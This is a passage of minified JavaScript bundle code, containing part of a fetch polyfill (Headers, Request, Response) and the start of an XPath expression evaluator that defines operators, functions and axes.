this.map.hasOwnProperty(f(e))},h.prototype.set=function(e,t){this.map[f(e)]=[p(t)]},h.prototype.forEach=function(e,t){Object.getOwnPropertyNames(this.map).forEach((function(n){this.map[n].forEach((function(r){e.call(t,r,n,this)}),this)}),this)},h.prototype.keys=function(){var e=[];return this.forEach((function(t,n){e.push(n)})),d(e)},h.prototype.values=function(){var e=[];return this.forEach((function(t){e.push(t)})),d(e)},h.prototype.entries=function(){var e=[];return this.forEach((function(t,n){e.push([n,t])})),d(e)},n&&(h.prototype[Symbol.iterator]=h.prototype.entries);var l=["DELETE","GET","HEAD","OPTIONS","POST","PUT"];w.prototype.clone=function(){return new w(this,{body:this._bodyInit})},v.call(w.prototype),v.call(_.prototype),_.prototype.clone=function(){return new _(this._bodyInit,{status:this.status,statusText:this.statusText,headers:new h(this.headers),url:this.url})},_.error=function(){var e=new _(null,{status:0,statusText:""});return e.type="error",e};var c=[301,302,303,307,308];_.redirect=function(e,t){if(-1===c.indexOf(t))throw new RangeError("Invalid status code");return new _(null,{status:t,headers:{location:e}})},e.Headers=h,e.Request=w,e.Response=_,e.fetch=function(e,t){return new Promise((function(n,o){var i=new w(e,t),a=new XMLHttpRequest;a.onload=function(){var e,t,r={status:a.status,statusText:a.statusText,headers:(e=a.getAllResponseHeaders()||"",t=new h,e.split("\r\n").forEach((function(e){var n=e.split(":"),r=n.shift().trim();if(r){var o=n.join(":").trim();t.append(r,o)}})),t)};r.url="responseURL"in a?a.responseURL:r.headers.get("X-Request-URL");var o="response"in a?a.response:a.responseText;n(new _(o,r))},a.onerror=function(){o(new TypeError("Network request failed"))},a.ontimeout=function(){o(new TypeError("Network request failed"))},a.open(i.method,i.url,!0),"include"===i.credentials&&(a.withCredentials=!0),"responseType"in a&&r&&(a.responseType="blob"),i.headers.forEach((function(e,t){a.setRequestHeader(t,e)})),a.send(void 0===i._bodyInit?null:i._bodyInit)}))},e.fetch.polyfill=!0}function f(e){if("string"!=typeof e&&(e=String(e)),/[^a-z0-9\-#$%&'*+.\^_`|~]/i.test(e))throw new TypeError("Invalid character in header field name");return e.toLowerCase()}function p(e){return"string"!=typeof e&&(e=String(e)),e}function d(e){var t={next:function(){var t=e.shift();return{done:void 0===t,value:t}}};return n&&(t[Symbol.iterator]=function(){return t}),t}function h(e){this.map={},e instanceof h?e.forEach((function(e,t){this.append(t,e)}),this):e&&Object.getOwnPropertyNames(e).forEach((function(t){this.append(t,e[t])}),this)}function y(e){if(e.bodyUsed)return Promise.reject(new TypeError("Already read"));e.bodyUsed=!0}function g(e){return new Promise((function(t,n){e.onload=function(){t(e.result)},e.onerror=function(){n(e.error)}}))}function b(e){var t=new FileReader,n=g(t);return t.readAsArrayBuffer(e),n}function m(e){if(e.slice)return e.slice(0);var t=new Uint8Array(e.byteLength);return t.set(new Uint8Array(e)),t.buffer}function v(){return this.bodyUsed=!1,this._initBody=function(e){if(this._bodyInit=e,e)if("string"==typeof e)this._bodyText=e;else if(r&&Blob.prototype.isPrototypeOf(e))this._bodyBlob=e;else if(o&&FormData.prototype.isPrototypeOf(e))this._bodyFormData=e;else if(t&&URLSearchParams.prototype.isPrototypeOf(e))this._bodyText=e.toString();else if(i&&r&&s(e))this._bodyArrayBuffer=m(e.buffer),this._bodyInit=new Blob([this._bodyArrayBuffer]);else{if(!i||!ArrayBuffer.prototype.isPrototypeOf(e)&&!u(e))throw new Error("unsupported BodyInit type");this._bodyArrayBuffer=m(e)}else this._bodyText="";this.headers.get("content-type")||("string"==typeof e?this.headers.set("content-type","text/plain;charset=UTF-8"):this._bodyBlob&&this._bodyBlob.type?this.headers.set("content-type",this._bodyBlob.type):t&&URLSearchParams.prototype.isPrototypeOf(e)&&this.headers.set("content-type","application/x-www-form-urlencoded;charset=UTF-8"))},r&&(this.blob=function(){var e=y(this);if(e)return e;if(this._bodyBlob)return Promise.resolve(this._bodyBlob);if(this._bodyArrayBuffer)return Promise.resolve(new Blob([this._bodyArrayBuffer]));if(this._bodyFormData)throw new Error("could not read FormData body as blob");return Promise.resolve(new Blob([this._bodyText]))},this.arrayBuffer=function(){return this._bodyArrayBuffer?y(this)||Promise.resolve(this._bodyArrayBuffer):this.blob().then(b)}),this.text=function(){var e,t,n,r=y(this);if(r)return r;if(this._bodyBlob)return e=this._bodyBlob,n=g(t=new FileReader),t.readAsText(e),n;if(this._bodyArrayBuffer)return Promise.resolve(function(e){for(var t=new Uint8Array(e),n=new Array(t.length),r=0;r<t.length;r++)n[r]=String.fromCharCode(t[r]);return n.join("")}(this._bodyArrayBuffer));if(this._bodyFormData)throw new Error("could not read FormData body as text");return Promise.resolve(this._bodyText)},o&&(this.formData=function(){return this.text().then(E)}),this.json=function(){return this.text().then(JSON.parse)},this}function w(e,t){var n,r,o=(t=t||{}).body;if("string"==typeof e)this.url=e;else{if(e.bodyUsed)throw new TypeError("Already read");this.url=e.url,this.credentials=e.credentials,t.headers||(this.headers=new h(e.headers)),this.method=e.method,this.mode=e.mode,o||null==e._bodyInit||(o=e._bodyInit,e.bodyUsed=!0)}if(this.credentials=t.credentials||this.credentials||"omit",!t.headers&&this.headers||(this.headers=new h(t.headers)),this.method=(r=(n=t.method||this.method||"GET").toUpperCase(),l.indexOf(r)>-1?r:n),this.mode=t.mode||this.mode||null,this.referrer=null,("GET"===this.method||"HEAD"===this.method)&&o)throw new TypeError("Body not allowed for GET or HEAD requests");this._initBody(o)}function E(e){var t=new FormData;return e.trim().split("&").forEach((function(e){if(e){var n=e.split("="),r=n.shift().replace(/\+/g," "),o=n.join("=").replace(/\+/g," ");t.append(decodeURIComponent(r),decodeURIComponent(o))}})),t}function _(e,t){t||(t={}),this.type="default",this.status="status"in t?t.status:200,this.ok=this.status>=200&&this.status<300,this.statusText="statusText"in t?t.statusText:"OK",this.headers=new h(t.headers),this.url=t.url||"",this._initBody(e)}}("undefined"!=typeof self?self:this)},22932:(e,t,n)=>{(function(){"use strict";var t=this;function n(e){return"string"==typeof e}function r(e,t,n){return e.call.apply(e.bind,arguments)}function o(e,t,n){if(!e)throw Error();if(2<arguments.length){var r=Array.prototype.slice.call(arguments,2);return function(){var n=Array.prototype.slice.call(arguments);return Array.prototype.unshift.apply(n,r),e.apply(t,n)}}return function(){return e.apply(t,arguments)}}function i(e,t,n){return(i=Function.prototype.bind&&-1!=Function.prototype.bind.toString().indexOf("native code")?r:o).apply(null,arguments)}function a(e){var t=ae;function n(){}n.prototype=t.prototype,e.G=t.prototype,e.prototype=new n,e.prototype.constructor=e,e.F=function(e,n,r){for(var o=Array(arguments.length-2),i=2;i<arguments.length;i++)o[i-2]=arguments[i];return t.prototype[n].apply(e,o)}}var s=String.prototype.trim?function(e){return e.trim()}:function(e){return e.replace(/^[\s\xa0]+|[\s\xa0]+$/g,"")};function u(e,t){return-1!=e.indexOf(t)}function l(e,t){return e<t?-1:e>t?1:0}var c,f=Array.prototype.indexOf?function(e,t,n){return Array.prototype.indexOf.call(e,t,n)}:function(e,t,r){if(r=null==r?0:0>r?Math.max(0,e.length+r):r,n(e))return n(t)&&1==t.length?e.indexOf(t,r):-1;for(;r<e.length;r++)if(r in e&&e[r]===t)return r;return-1},p=Array.prototype.forEach?function(e,t,n){Array.prototype.forEach.call(e,t,n)}:function(e,t,r){for(var o=e.length,i=n(e)?e.split(""):e,a=0;a<o;a++)a in i&&t.call(r,i[a],a,e)},d=Array.prototype.filter?function(e,t,n){return Array.prototype.filter.call(e,t,n)}:function(e,t,r){for(var o=e.length,i=[],a=0,s=n(e)?e.split(""):e,u=0;u<o;u++)if(u in s){var l=s[u];t.call(r,l,u,e)&&(i[a++]=l)}return i},h=Array.prototype.reduce?function(e,t,n,r){return r&&(t=i(t,r)),Array.prototype.reduce.call(e,t,n)}:function(e,t,n,r){var o=n;return p(e,(function(n,i){o=t.call(r,o,n,i,e)})),o},y=Array.prototype.some?function(e,t,n){return Array.prototype.some.call(e,t,n)}:function(e,t,r){for(var o=e.length,i=n(e)?e.split(""):e,a=0;a<o;a++)if(a in i&&t.call(r,i[a],a,e))return!0;return!1};e:{var g=t.navigator;if(g){var b=g.userAgent;if(b){c=b;break e}}c=""}var m,v,w=u(c,"Opera")||u(c,"OPR"),E=u(c,"Trident")||u(c,"MSIE"),_=u(c,"Edge"),x=u(c,"Gecko")&&!(u(c.toLowerCase(),"webkit")&&!u(c,"Edge"))&&!(u(c,"Trident")||u(c,"MSIE"))&&!u(c,"Edge"),T=u(c.toLowerCase(),"webkit")&&!u(c,"Edge");function P(){var e=t.document;return e?e.documentMode:void 0}e:{var O="",j=(v=c,x?/rv\:([^\);]+)(\)|;)/.exec(v):_?/Edge\/([\d\.]+)/.exec(v):E?/\b(?:MSIE|rv)[: ]([^\);]+)(\)|;)/.exec(v):T?/WebKit\/(\S+)/.exec(v):w?/(?:Version)[ \/]?(\S+)/.exec(v):void 0);if(j&&(O=j?j[1]:""),E){var N=P();if(null!=N&&N>parseFloat(O)){m=String(N);break e}}m=O}var S={};function A(e){if(!S[e]){for(var t=0,n=s(String(m)).split("."),r=s(String(e)).split("."),o=Math.max(n.length,r.length),i=0;0==t&&i<o;i++){var a=n[i]||"",u=r[i]||"",c=/(\d*)(\D*)/g,f=/(\d*)(\D*)/g;do{var p=c.exec(a)||["","",""],d=f.exec(u)||["","",""];if(0==p[0].length&&0==d[0].length)break;t=l(0==p[1].length?0:parseInt(p[1],10),0==d[1].length?0:parseInt(d[1],10))||l(0==p[2].length,0==d[2].length)||l(p[2],d[2])}while(0==t)}S[e]=0<=t}}var R=t.document,k=R&&E?P()||("CSS1Compat"==R.compatMode?parseInt(m,10):5):void 0,I=E&&!(9<=Number(k)),D=E&&!(8<=Number(k));function M(e,t,n,r){this.a=e,this.nodeName=n,this.nodeValue=r,this.nodeType=2,this.parentNode=this.ownerElement=t}function B(e,t){var n=D&&"href"==t.nodeName?e.getAttribute(t.nodeName,2):t.nodeValue;return new M(t,e,t.nodeName,n)}function F(e){var t=null;if(1==(n=e.nodeType)&&(t=null==(t=null==(t=e.textContent)||null==t?e.innerText:t)||null==t?"":t),"string"!=typeof t)if(I&&"title"==e.nodeName.toLowerCase()&&1==n)t=e.text;else if(9==n||1==n){e=9==n?e.documentElement:e.firstChild;var n=0,r=[];for(t="";e;){do{1!=e.nodeType&&(t+=e.nodeValue),I&&"title"==e.nodeName.toLowerCase()&&(t+=e.text),r[n++]=e}while(e=e.firstChild);for(;n&&!(e=r[--n].nextSibling););}}else t=e.nodeValue;return""+t}function C(e,t,n){if(null===t)return!0;try{if(!e.getAttribute)return!1}catch(e){return!1}return D&&"class"==t&&(t="className"),null==n?!!e.getAttribute(t):e.getAttribute(t,2)==n}function U(e,t,r,o,i){return(I?L:Y).call(null,e,t,n(r)?r:null,n(o)?o:null,i||new Q)}function L(e,t,n,r,o){if(e instanceof De||8==e.b||n&&null===e.b){var i=t.all;if(!i)return o;if("*"!=(e=q(e))&&!(i=t.getElementsByTagName(e)))return o;if(n){for(var a=[],s=0;t=i[s++];)C(t,n,r)&&a.push(t);i=a}for(s=0;t=i[s++];)"*"==e&&"!"==t.tagName||ee(o,t);return o}return $(e,t,n,r,o),o}function Y(e,t,n,r,o){return t.getElementsByName&&r&&"name"==n&&!E?(t=t.getElementsByName(r),p(t,(function(t){e.a(t)&&ee(o,t)}))):t.getElementsByClassName&&r&&"class"==n?(t=t.getElementsByClassName(r),p(t,(function(t){t.className==r&&e.a(t)&&ee(o,t)}))):e instanceof Pe?$(e,t,n,r,o):t.getElementsByTagName&&(t=t.getElementsByTagName(e.f()),p(t,(function(e){C(e,n,r)&&ee(o,e)}))),o}function X(e,t,n,r,o){var i;if((e instanceof De||8==e.b||n&&null===e.b)&&(i=t.childNodes)){var a=q(e);return"*"==a||(i=d(i,(function(e){return e.tagName&&e.tagName.toLowerCase()==a})),i)?(n&&(i=d(i,(function(e){return C(e,n,r)}))),p(i,(function(e){"*"==a&&("!"==e.tagName||"*"==a&&1!=e.nodeType)||ee(o,e)})),o):o}return H(e,t,n,r,o)}function H(e,t,n,r,o){for(t=t.firstChild;t;t=t.nextSibling)C(t,n,r)&&e.a(t)&&ee(o,t);return o}function $(e,t,n,r,o){for(t=t.firstChild;t;t=t.nextSibling)C(t,n,r)&&e.a(t)&&ee(o,t),$(e,t,n,r,o)}function q(e){if(e instanceof Pe){if(8==e.b)return"!";if(null===e.b)return"*"}return e.f()}function V(e,t){if(!e||!t)return!1;if(e.contains&&1==t.nodeType)return e==t||e.contains(t);if(void 0!==e.compareDocumentPosition)return e==t||!!(16&e.compareDocumentPosition(t));for(;t&&e!=t;)t=t.parentNode;return t==e}function z(e,n){if(e==n)return 0;if(e.compareDocumentPosition)return 2&e.compareDocumentPosition(n)?1:-1;if(E&&!(9<=Number(k))){if(9==e.nodeType)return-1;if(9==n.nodeType)return 1}if("sourceIndex"in e||e.parentNode&&"sourceIndex"in e.parentNode){var r=1==e.nodeType,o=1==n.nodeType;if(r&&o)return e.sourceIndex-n.sourceIndex;var i=e.parentNode,a=n.parentNode;return i==a?G(e,n):!r&&V(i,n)?-1*W(e,n):!o&&V(a,e)?W(n,e):(r?e.sourceIndex:i.sourceIndex)-(o?n.sourceIndex:a.sourceIndex)}return(r=(o=9==e.nodeType?e:e.ownerDocument||e.document).createRange()).selectNode(e),r.collapse(!0),(o=o.createRange()).selectNode(n),o.collapse(!0),r.compareBoundaryPoints(t.Range.START_TO_END,o)}function W(e,t){var n=e.parentNode;if(n==t)return-1;for(var r=t;r.parentNode!=n;)r=r.parentNode;return G(r,e)}function G(e,t){for(var n=t;n=n.previousSibling;)if(n==e)return-1;return 1}function Q(){this.b=this.a=null,this.l=0}function J(e){this.node=e,this.a=this.b=null}function K(e,t){if(!e.a)return t;if(!t.a)return e;for(var n=e.a,r=t.a,o=null,i=null,a=0;n&&r;){i=n.node;var s=r.node;i==s||i instanceof M&&s instanceof M&&i.a==s.a?(i=n,n=n.a,r=r.a):0<z(n.node,r.node)?(i=r,r=r.a):(i=n,n=n.a),(i.b=o)?o.a=i:e.a=i,o=i,a++}for(i=n||r;i;)i.b=o,o=o.a=i,a++,i=i.a;return e.b=o,e.l=a,e}function Z(e,t){var n=new J(t);n.a=e.a,e.b?e.a.b=n:e.a=e.b=n,e.a=n,e.l++}function ee(e,t){var n=new J(t);n.b=e.b,e.a?e.b.a=n:e.a=e.b=n,e.b=n,e.l++}function te(e){return(e=e.a)?e.node:null}function ne(e){return(e=te(e))?F(e):""}function re(e,t){return new oe(e,!!t)}function oe(e,t){this.f=e,this.b=(this.c=t)?e.b:e.a,this.a=null}function ie(e){var t=e.b;if(null==t)return null;var n=e.a=t;return e.b=e.c?t.b:t.a,n.node}function ae(e){this.i=e,this.b=this.g=!1,this.f=null}function se(e){return"\n  "+e.toString().split("\n").join("\n  ")}function ue(e,t){e.g=t}function le(e,t){e.b=t}function ce(e,t){var n=e.a(t);return n instanceof Q?+ne(n):+n}function fe(e,t){var n=e.a(t);return n instanceof Q?ne(n):""+n}function pe(e,t){var n=e.a(t);return n instanceof Q?!!n.l:!!n}function de(e,t,n){ae.call(this,e.i),this.c=e,this.h=t,this.o=n,this.g=t.g||n.g,this.b=t.b||n.b,this.c==me&&(n.b||n.g||4==n.i||0==n.i||!t.f?t.b||t.g||4==t.i||0==t.i||!n.f||(this.f={name:n.f.name,s:t}):this.f={name:t.f.name,s:n})}function he(e,t,n,r,o){var i;if(t=t.a(r),n=n.a(r),t instanceof Q&&n instanceof Q){for(r=ie(t=re(t));r;r=ie(t))for(i=ie(o=re(n));i;i=ie(o))if(e(F(r),F(i)))return!0;return!1}if(t instanceof Q||n instanceof Q){t instanceof Q?(o=t,r=n):(o=n,r=t);for(var a=typeof r,s=ie(i=re(o));s;s=ie(i)){switch(a){case"number":s=+F(s);break;case"boolean":s=!!F(s);break;case"string":s=F(s);break;default:throw Error("Illegal primitive type for comparison.")}if(o==t&&e(s,r)||o==n&&e(r,s))return!0}return!1}return o?"boolean"==typeof t||"boolean"==typeof n?e(!!t,!!n):"number"==typeof t||"number"==typeof n?e(+t,+n):e(t,n):e(+t,+n)}function ye(e,t,n,r){this.a=e,this.w=t,this.i=n,this.m=r}!x&&!E||E&&9<=Number(k)||x&&A("1.9.1"),E&&A("9"),a(de),de.prototype.a=function(e){return this.c.m(this.h,this.o,e)},de.prototype.toString=function(){return"Binary Expression: "+this.c+se(this.h)+se(this.o)},ye.prototype.toString=function(){return this.a};var ge={};function be(e,t,n,r){if(ge.hasOwnProperty(e))throw Error("Binary operator already created: "+e);return e=new ye(e,t,n,r),ge[e.toString()]=e}be("div",6,1,(function(e,t,n){return ce(e,n)/ce(t,n)})),be("mod",6,1,(function(e,t,n){return ce(e,n)%ce(t,n)})),be("*",6,1,(function(e,t,n){return ce(e,n)*ce(t,n)})),be("+",5,1,(function(e,t,n){return ce(e,n)+ce(t,n)})),be("-",5,1,(function(e,t,n){return ce(e,n)-ce(t,n)})),be("<",4,2,(function(e,t,n){return he((function(e,t){return e<t}),e,t,n)})),be(">",4,2,(function(e,t,n){return he((function(e,t){return e>t}),e,t,n)})),be("<=",4,2,(function(e,t,n){return he((function(e,t){return e<=t}),e,t,n)})),be(">=",4,2,(function(e,t,n){return he((function(e,t){return e>=t}),e,t,n)}));var me=be("=",3,2,(function(e,t,n){return he((function(e,t){return e==t}),e,t,n,!0)}));function ve(e,t,n){this.a=e,this.b=t||1,this.f=n||1}function we(e,t){if(t.a.length&&4!=e.i)throw Error("Primary expression must evaluate to nodeset if filter has predicate(s).");ae.call(this,e.i),this.c=e,this.h=t,this.g=e.g,this.b=e.b}function Ee(e,t){if(t.length<e.A)throw Error("Function "+e.j+" expects at least"+e.A+" arguments, "+t.length+" given");if(null!==e.v&&t.length>e.v)throw Error("Function "+e.j+" expects at most "+e.v+" arguments, "+t.length+" given");e.B&&p(t,(function(t,n){if(4!=t.i)throw Error("Argument "+n+" to function "+e.j+" is not of type Nodeset: "+t)})),ae.call(this,e.i),this.h=e,this.c=t,ue(this,e.g||y(t,(function(e){return e.g}))),le(this,e.D&&!t.length||e.C&&!!t.length||y(t,(function(e){return e.b})))}function _e(e,t,n,r,o,i,a,s,u){this.j=e,this.i=t,this.g=n,this.D=r,this.C=o,this.m=i,this.A=a,this.v=void 0!==s?s:a,this.B=!!u}be("!=",3,2,(function(e,t,n){return he((function(e,t){return e!=t}),e,t,n,!0)})),be("and",2,2,(function(e,t,n){return pe(e,n)&&pe(t,n)})),be("or",1,2,(function(e,t,n){return pe(e,n)||pe(t,n)})),a(we),we.prototype.a=function(e){return e=this.c.a(e),Ye(this.h,e)},we.prototype.toString=function(){return"Filter:"+se(this.c)+se(this.h)},a(Ee),Ee.prototype.a=function(e){return this.h.m.apply(null,function(e){return Array.prototype.concat.apply(Array.prototype,arguments)}(e,this.c))},Ee.prototype.toString=function(){var e="Function: "+this.h;if(this.c.length){var t=h(this.c,(function(e,t){return e+se(t)}),"Arguments:");e+=se(t)}return e},_e.prototype.toString=function(){return this.j};var xe={};function Te(e,t,n,r,o,i,a,s){if(xe.hasOwnProperty(e))throw Error("Function already created: "+e+".");xe[e]=new _e(e,t,n,r,!1,o,i,a,s)}function Pe(e,t){switch(this.h=e,this.c=void 0!==t?t:null,this.b=null,e){case"comment":this.b=8;break;case"text":this.b=3;break;case"processing-instruction":this.b=7;break;case"node":break;default:throw Error("Unexpected argument")}}function Oe(e){return"comment"==e||"text"==e||"processing-instruction"==e||"node"==e}function je(e){this.b=e,this.a=0}Te("boolean",2,!1,!1,(function(e,t){return pe(t,e)}),1),Te("ceiling",1,!1,!1,(function(e,t){return Math.ceil(ce(t,e))}),1),Te("concat",3,!1,!1,(function(e,t){return h(function(e,t,n){return 2>=arguments.length?Array.prototype.slice.call(e,t):Array.prototype.slice.call(e,t,n)}(arguments,1),(function(t,n){return t+fe(n,e)}),"")}),2,null),Te("contains",2,!1,!1,(function(e,t,n){return u(fe(t,e),fe(n,e))}),2),Te("count",1,!1,!1,(function(e,t){return t.a(e).l}),1,1,!0),Te("false",2,!1,!1,(function(){return!1}),0),Te("floor",1,!1,!1,(function(e,t){return Math.floor(ce(t,e))}),1),Te("id",4,!1,!1,(function(e,t){var r=9==(o=e.a).nodeType?o:o.ownerDocument,o=fe(t,e).split(/\s+/),i=[];p(o,(function(e){!(e=function(e){if(I){var t=r.all[e];if(t){if(t.nodeType&&e==t.id)return t;if(t.length)return function(e,t){var r;e:{r=e.length;for(var o=n(e)?e.split(""):e,i=0;i<r;i++)if(i in o&&t.call(void 0,o[i],i,e)){r=i;break e}r=-1}return 0>r?null:n(e)?e.charAt(r):e[r]}(t,(function(t){return e==t.id}))}return null}return r.getElementById(e)}(e))||0<=f(i,e)||i.push(e)})),i.sort(z);var a=new Q;return p(i,(function(e){ee(a,e)})),a}),1),Te("lang",2,!1,!1,(function(){return!1}),1),Te("last",1,!0,!1,(function(e){if(1!=arguments.length)throw Error("Function last expects ()");return e.f}),0),Te("local-name",3,!1,!0,(function(e,t){var n=t?te(t.a(e)):e.a;return n?n.localName||n.nodeName.toLowerCase():""}),0,1,!0),Te("name",3,!1,!0,(function(e,t){var n=t?te(t.a(e)):e.a;return n?n.nodeName.toLowerCase():""}),0,1,!0),Te("namespace-uri",3,!0,!1,(function(){return""}),0,1,!0),Te("normalize-space",3,!1,!0,(function(e,t){return(t?fe(t,e):F(e.a)).replace(/[\s\xa0]+/g," ").replace(/^\s+|\s+$/g,"")}),0,1),Te("not",2,!1,!1,(function(e,t){return!pe(t,e)}),1),Te("number",1,!1,!0,(function(e,t){return t?ce(t,e):+F(e.a)}),0,1),Te("position",1,!0,!1,(function(e){return e.b}),0),Te("round",1,!1,!1,(function(e,t){return Math.round(ce(t,e))}),1),Te("starts-with",2,!1,!1,(function(e,t,n){return t=fe(t,e),e=fe(n,e),0==t.lastIndexOf(e,0)}),2),Te("string",3,!1,!0,(function(e,t){return t?fe(t,e):F(e.a)}),0,1),Te("string-length",1,!1,!0,(function(e,t){return(t?fe(t,e):F(e.a)).length}),0,1),Te("substring",3,!1,!1,(function(e,t,n,r){if(n=ce(n,e),isNaN(n)||1/0==n||-1/0==n)return"";if(r=r?ce(r,e):1/0,isNaN(r)||-1/0===r)return"";n=Math.round(n)-1;var o=Math.max(n,0);return e=fe(t,e),1/0==r?e.substring(o):e.substring(o,n+Math.round(r))}),2,3),Te("substring-after",3,!1,!1,(function(e,t,n){return t=fe(t,e),e=fe(n,e),-1==(n=t.indexOf(e))?"":t.substring(n+e.length)}),2),Te("substring-before",3,!1,!1,(function(e,t,n){return t=fe(t,e),e=fe(n,e),-1==(e=t.indexOf(e))?"":t.substring(0,e)}),2),Te("sum",1,!1,!1,(function(e,t){for(var n=re(t.a(e)),r=0,o=ie(n);o;o=ie(n))r+=+F(o);return r}),1,1,!0),Te("translate",3,!1,!1,(function(e,t,n,r){t=fe(t,e),n=fe(n,e);var o=fe(r,e);for(e={},r=0;r<n.length;r++){var i=n.charAt(r);i in e||(e[i]=o.charAt(r))}for(n="",r=0;r<t.length;r++)n+=(i=t.charAt(r))in e?e[i]:i;return n}),3),Te("true",2,!1,!1,(function(){return!0}),0),Pe.prototype.a=function(e){return null===this.b||this.b==e.nodeType},Pe.prototype.f=function(){return this.h},Pe.prototype.toString=function(){var e="Kind Test: "+this.h;return null===this.c||(e+=se(this.c)),e};var Ne=/\$?(?:(?![0-9-\.])(?:\*|[\w-\.]+):)?(?![0-9-\.])(?:\*|[\w-\.]+)|\/\/|\.\.|::|\d+(?:\.\d*)?|\.\d+|"[^"]*"|'[^']*'|[!<>]=|\s+|./g,Se=/^\s/;function Ae(e,t){return e.b[e.a+(t||0)]}function Re(e){return e.b[e.a++]}function ke(e){return e.b.length<=e.a}function Ie(e){ae.call(this,3),this.c=e.substring(1,e.length-1)}function De(e,t){var n;this.j=e.toLowerCase(),n="*"==this.j?"*":"http://www.w3.org/1999/xhtml",this.c=t?t.toLowerCase():n}function Me(e,t){if(ae.call(this,e.i),this.h=e,this.c=t,this.g=e.g,this.b=e.b,1==this.c.length){var n=this.c[0];n.u||n.c!=Ve||"*"!=(n=n.o).f()&&(this.f={name:n.f(),s:null})}}function Be(){ae.call(this,4)}function Fe(){ae.call(this,4)}function Ce(e){return"/"==e||"//"==e}function Ue(e){ae.call(this,4),this.c=e,ue(this,y(this.c,(function(e){return e.g}))),le(this,y(this.c,(function(e){return e.b})))}function Le(e,t){this.a=e,this.b=!!t}function Ye(e,t,n){for(n=n||0;n<e.a.length;n++)for(var r,o=e.a[n],i=re(t),a=t.l,s=0;r=ie(i);s++){var u=e.b?a-s:s+1;if("number"==typeof(r=o.a(new ve(r,u,a))))u=u==r;else if("string"==typeof r||"boolean"==typeof r)u=!!r;else{if(!(r instanceof Q))throw Error("Predicate.evaluate returned an unexpected type.");u=0<r.l}if(!u){if(r=(u=i).f,!(c=u.a))throw Error("Next must be called at least once before remove.");var l=c.b,c=c.a;l?l.a=c:r.a=c,c?c.b=l:r.b=l,r.l--,u.a=null}}return t}function Xe(e,t,n,r){ae.call(this,4),this.c=e,this.o=t,this.h=n||new Le([]),this.u=!!r,t=0<(t=this.h).a.length?t.a[0].f:null,e.b&&t&&(e=t.name,e=I?e.toLowerCase():e,this.f={name:e,s:t.s});e:{for(e=this.h,t=0;t<e.a.length;t++)if((n=e.a[t]).g||1==n.i||0==n.i){e=!0;break e}e=!1}this.g=e}function He(e,t,n,r){this.j=e,this.f=t,this.a=n,this.b=r}a(Ie),Ie.prototype.a=function(){return this.c},Ie.prototype.toString=function(){return"Literal: "+this.c},De.prototype.a=function(e){var t=e.nodeType;return!(1!=t&&2!=t||(t=void 0!==e.localName?e.localName:e.nodeName,"*"!=this.j&&this.j!=t.toLowerCase()||"*"!=this.c&&this.c!=(e.namespaceURI?e.namespaceURI.toLowerCase():"http://www.w3.org/1999/xhtml")))},De.prototype.f=function(){return this.j},De.prototype.toString=function(){return"Name Test: "+("http://www.w3.org/1999/xhtml"==this.c?"":this.c+":")+this.j},a(Me),a(Be),Be.prototype.a=function(e){var t=new Q;return 9==(e=e.a).nodeType?ee(t,e):ee(t,e.ownerDocument),t},Be.prototype.toString=function(){return"Root Helper Expression"},a(Fe),Fe.prototype.a=function(e){var t=new Q;return ee(t,e.a),t},Fe.prototype.toString=function(){return"Context Helper Expression"},Me.prototype.a=function(e){var t=this.h.a(e);if(!(t instanceof Q))throw Error("Filter expression must evaluate to nodeset.");for(var n=0,r=(e=this.c).length;n<r&&t.l;n++){var o,i=e[n],a=re(t,i.c.a);if(i.g||i.c!=Ge)if(i.g||i.c!=Je)for(o=ie(a),t=i.a(new ve(o));null!=(o=ie(a));)t=K(t,o=i.a(new ve(o)));else o=ie(a),t=i.a(new ve(o));else{for(o=ie(a);(t=ie(a))&&(!o.contains||o.contains(t))&&8&t.compareDocumentPosition(o);o=t);t=i.a(new ve(o))}}return t},Me.prototype.toString=function(){var e;if(e="Path Expression:"+se(this.h),this.c.length){var t=h(this.c,(function(e,t){return e+se(t)}),"Steps:");e+=se(t)}return e},a(Ue),Ue.prototype.a=function(e){var t=new Q;return p(this.c,(function(n){if(!((n=n.a(e))instanceof Q))throw Error("Path expression must evaluate to NodeSet.");t=K(t,n)})),t},Ue.prototype.toString=function(){return h(this.c,(function(e,t){return e+se(t)}),"Union Expression:")},Le.prototype.toString=function(){return h(this.a,(function(e,t){return e+se(t)}),"Predicates:")},a(Xe),Xe.prototype.a=function(e){var t=e.a,n=null,r=null,o=null,i=0;if((n=this.f)&&(r=n.name,o=n.s?fe(n.s,e):null,i=1),this.u)if(this.g||this.c!=ze)if(t=ie(e=re(new Xe(We,new Pe("node")).a(e))))for(n=this.m(t,r,o,i);null!=(t=ie(e));)n=K(n,this.m(t,r,o,i));else n=new Q;else n=U(this.o,t,r,o),n=Ye(this.h,n,i);else n=this.m(e.a,r,o,i);return n},Xe.prototype.m=function(e,t,n,r){return e=this.c.f(this.o,e,t,n),Ye(this.h,e,r)},Xe.prototype.toString=function(){var e;if(e="Step:"+se("Operator: "+(this.u?"//":"/")),this.c.j&&(e+=se("Axis: "+this.c)),e+=se(this.o),this.h.a.length){var t=h(this.h.a,(function(e,t){return e+se(t)}),"Predicates:");e+=se(t)}return e},He.prototype.toString=function(){return this.j};var $e={};function qe(e,t,n,r){if($e.hasOwnProperty(e))throw Error("Axis already created: "+e);return t=new He(e,t,n,!!r),$e[e]=t}qe("ancestor",(function(e,t){for(var n=new Q,r=t;r=r.parentNode;)e.a(r)&&Z(n,r);return n}),!0),qe("ancestor-or-self",(function(e,t){var n=new Q,r=t;do{e.a(r)&&Z(n,r)}while(r=r.parentNode);return n}),!0);var Ve=qe("attribute",(function(e,t){var n=new Q;if("style"==(i=e.f())&&I&&t.style)return ee(n,new M(t.style,t,"style",t.style.cssText)),n;var r=t.attributes;if(r)if(e instanceof Pe&&null===e.b||"*"==i)for(var o,i=0;o=r[i];i++)I?o.nodeValue&&ee(n,B(t,o)):ee(n,o);else(o=r.getNamedItem(i))&&(I?o.nodeValue&&ee(n,B(t,o)):ee(n,o));return n}),!1),ze=qe("child",(function(e,t,r,o,i){return(I?X:H).call(null,e,t,n(r)?r:null,n(o)?o:null,i||new Q)}),!1,!0);qe("descendant",U,!1,!0);var We=qe("descendant-or-self",(function(e,t,n,r){var o=new Q;return C(t,n,r)&&e.a(t)&&ee(o,t),U(e,t,n,r,o)}),!1,!0),Ge=qe("following",(function(e,t,n,r){var o=new Q;do{for(var i=t;i=i.nextSibling;)C(i,n,r)&&e.a(i)&&ee(o,i),o=U(e,i,n,r,o)}while(t=t.parentNode);return o}),!1,!0);qe("following-sibling",(function(e,t){for(var n=new Q,r=t;r=r.nextSibling;)e.a(r)&&ee(n,r);return 